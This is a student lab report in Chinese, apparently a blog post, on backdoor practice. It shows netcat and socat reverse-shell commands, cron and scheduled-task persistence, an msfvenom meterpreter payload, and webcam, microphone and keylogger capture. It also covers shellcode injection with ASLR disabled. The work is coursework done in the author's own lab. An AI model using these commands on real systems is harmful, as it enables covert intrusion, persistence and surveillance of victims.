20174323张加欣-Exp2 后门原理与实践

1.实验内容、基础知识及实验准备

1.1  实验内容  

  • 任务一:使用netcat获取主机操作Shell,cron启动。
  • 任务二:使用socat获取主机操作Shell, 任务计划启动。
  • 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
  • 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

1.2  基础知识  

后门概念:

       在信息安全领域,后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。

常见后门:

  • 编译器的后门
  • 应用程序中的后门
  • 操作系统的后门
  • 潜伏于操作系统中或伪装为特定应用的专用后门程序

常用后门工具:

       Netcat:它是一个底层工具,在网络工具中有“瑞士军刀”的美誉,进行基本的 TCP、UDP 数据收发。常被与其他工具结合使用,起到后门的作用。

       Socat:它是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。

       Meterpreter:它是 Metasploit 框架中功能强大的后渗透模块。可以通过 Meterpreter 的客户端执行攻击脚本,远程调用目标主机上运行的 Meterpreter 服务端。

       PowerSpoit:基于 PowerShell 的后门集成框架。需要 .Net 环境支持。

       InterSect:是一个后渗透完成多种后期任务的Python程序。它能够自动收集密码文件和网络信息,并且能够识别杀毒软件和防火墙程序。

       Weevely:是一款功能强大的PHP后门工具,它使用HTTP协议包头部进行指令传输。它的使用非常简单,但仅支持php语言。

1.3  实验准备  

查阅IP地址:

  • Windows,查阅IP命令ipconfig,IP地址:192.168.2.125
  • Kali,查阅IP命令ifconfig,IP地址:192.168.145.128

关闭防火墙:

  • 关闭Windows防火墙:控制面板 > 系统和安全 > 关闭Windows Defender 防火墙

  • 关闭电脑中的杀毒软件
  • 关闭Linux防火墙:先安装 apt-get install ufw ;再输入指令 ufw disable

Windows下载Ncat&Socat(P.S. 可以将Ncat文件夹放置在C:\Users\Administrator  目录下)

 

2.使用Ncat获取主机操作Shell,cron启动

2.1  Windows获得Linux Shell  

  • Windows打开监听,使用Ncat程序监听本机的4323端口号,ncat.exe -l -p 4323

  • Kali反弹连接Windows的4323端号,指令为nc 192.168.2.125 4323 -e /bin/sh 。可以发现Kali被攻击成功,Windows获得Linux Shell。

2.2  Linux获得Win Shell  

  • Kali运行监听指令nc -l -p 4323,监听本机4323端口。

  • Windows中反弹连接Kali的4323端口,指令为ncat.exe -e cmd.exe 192.168.145.128 4323

  • 返回Linux,发现 Windows被攻击成功,Kali获得Windows Shell。

2.3  使用Ncat传输数据  

  • 选择从Kali向Windows传输数据。
  • 首先在Windows下监听4323端口,指令nc -l 4323
  • Kali反弹连接到Windows,指令nc 192.168.145.128 4323
  • 连接成功,双方可以进行通信。

 2.4  使用Ncat传输文件  

  • Windows输入指令nc -l 4323 > 4323.out ,将收到的数据保存到file1.out中。
  • Kali运行指令nc 192.168.2.125 4323 < 4323.in ,将Kali端的文件传输过去。

2.5  cron启动  

  • Windows输入指令ncat -l -p 4323,监听4323端口。
  • 第一次编辑时,会提示选择编辑器,这里选择的是3
  • 这时,在Kali终端输入指令crontab -e ,并且在最后一行输入11 * * * * /bin/netcat 192.168.2.125 4323 -e /bin/she。这是一条定时任务,表示每小时的第11分钟反向连接Windows主机的4323端口

  • 等到11分的时候,在Windows输入ls,可以发现Windows获得Kali Shell。

 

3.使用socat获取主机操作Shell, 任务计划启动

  • 首先在Windows敲击Win+R,输入 compmgmt.msc,打开“计算机管理”。

  • 在“任务计划程序”中点击“创建任务”。
  • 在“创建任务”中点击“新建”,填写新建任务名称,我这里命名为“实验2”。

  • 触发器中的开始任务选择“工作站锁定时”。

  • 在操作中的“程序或脚本”选择socat.exe文件的路径,在“添加参数”一栏中填写,点击启动任务。

  • 这时需要注销电脑,重新登录。

  • 切换到Kali,执行指令 socat - tcp:192.168.2.125:4323,可以发现获得一个Shell。

 

4.使用MSF meterpreter(或其他软件)生成可执行文件,利用Ncat或socat传送到主机并运行获取主机Shell

  • 首先在Kali内生成后门程序,输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=4323 -f exe > 20174323_backdoor.exe,在(这里由于家里网络原因,IP地址暂时更换为172.20.10.3,之后的IP地址还是192.168.2.125)
  • 在Windows上输入指令 ncat.exe -lv 4323 > 20174323_backdoor.exe,使本机进入接受文件模式。
  • 接着在Kali中输入 nc 192.168.2.125 4323 < 20174323_backdoor.exe

  • Windows接受程序,传送后的程序。
  • 在Kali上输入msfconsole,进入msfconsole控制台。
  • 在msfconsole中输入以下指令:

          use exploit/multi/handler启用侦听模块,设置payload。

          set payload windows/x64/meterpreter/reverse_tcp使用和生成后门程序时相同的 payload。

          set LHOST 192.168.145.128设置LHOST。

          set LPORT 4323设置LPORT。

          exploit开始监听。

  • 运行Windows下的后门程序,此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的Shell。

 

5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • Kali输入指令record_mic,进行录音,可以截获一段音频。

  • webcam_snap,使用摄像头拍照(这里拍的是我的学号20174323)。

  • 使用指令keyscan_start开始记录下击键的过程,使用指令keyscan_dump读取击键的记录。
  • 使用screenshot,进行截屏。

 

6.可选加分内容:使用MSF生成ShellCode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 首先在实验前,要进行一系列设置,一定要设置:

          execstack -s pwn1 //设置堆栈可执行

          execstack -q pwn1 //查询文件的堆栈是否可执行

          more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数

          echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

          more /proc/sys/kernel/randomize_va_space

  • 按照Exp1的做法,关闭内存地址随机化,设置堆栈可执行,调试找到ShellCode地址,地址和第一次相同0xffffd6dc+4=0xffffd6e0。

  • 注入代码,进行修改。

  • 打开另一个终端,打开msfconsole,进行以下步骤:

          use exploit/multi/handler,启用侦听模块。

          set payload linux/x86/shell_reverse_tcp使用和生成后门程序时相同的 payload。

          set LHOST 127.0.0.1设置LHOST(shellcode里面确定的)。

          set LPORT 4444设置LPORT(shellcode里面确定的)。

          show options

          exploit,开始监听。

  • 这时在原本的终端输入(cat input_shellcode;cat) | ./pwn4323,执行ShellCode。

 

7.基础问题回答及实验心得

7.1  基础问题回答  

  • Q:例举你能想到的一个后门进入到你系统中的可能方式?

           A:下载软件时,如果没有在官网,而是根据搜索引擎的推荐项随意点开一个链接下载,往往会捆绑下载一些我们并不需要的软件。这其中难免会有木马病毒,从而对电脑安全产生威胁。

  • Q:例举你知道的后门如何启动起来(Windows及Linux)的方式?

           A:Windows,修改注册表、设置为开机自启动、诱导用户点击从而执行等等

                 Linux:可以通过crontab功能将木马设为定时启动,也可以通过对正常软件的绑定注入ShellCode达到开启后门的目的。

  • Q:Meterpreter有哪些给你映像深刻的功能?

           A:这次试验给我留下深刻印象的主要有获取目标主机音频、摄像头、击键记录等内容。除此之外还有植入后门实施远程控制、metsvc后渗透攻击模块等等。

  • Q:如何发现自己有系统有没有被安装后门?

           A:可以检测网络连接,查看是否有IP与本机建立连接;安装专门的杀毒软件,实时防护,并定期检测电脑安全情况;查看任务计划程序、开机自启动项中是否有可疑程序,等等。

7.2  实验心得  

       其实这次实验难度并不大,但是我在实验过程还是犯了很多低级错误,耽误了进度。并且这次实验让我认识到杀毒软件的重要性,感受到了后门程序的可怕。在之前的学习中,我了解到后门就是不经过正常认证流程而访问系统的通道。攻击者可以连接这个程序,从而远程执行各种指令,达到攻击的目的。并且通过这次实验,实践认识到后门的形成及植入过程,最后还尝试了对靶机进行控制。在实验中进行拍照,录音也十分有趣~

 

posted @ 2020-03-20 18:55  张加欣  阅读(94)  评论(0编辑  收藏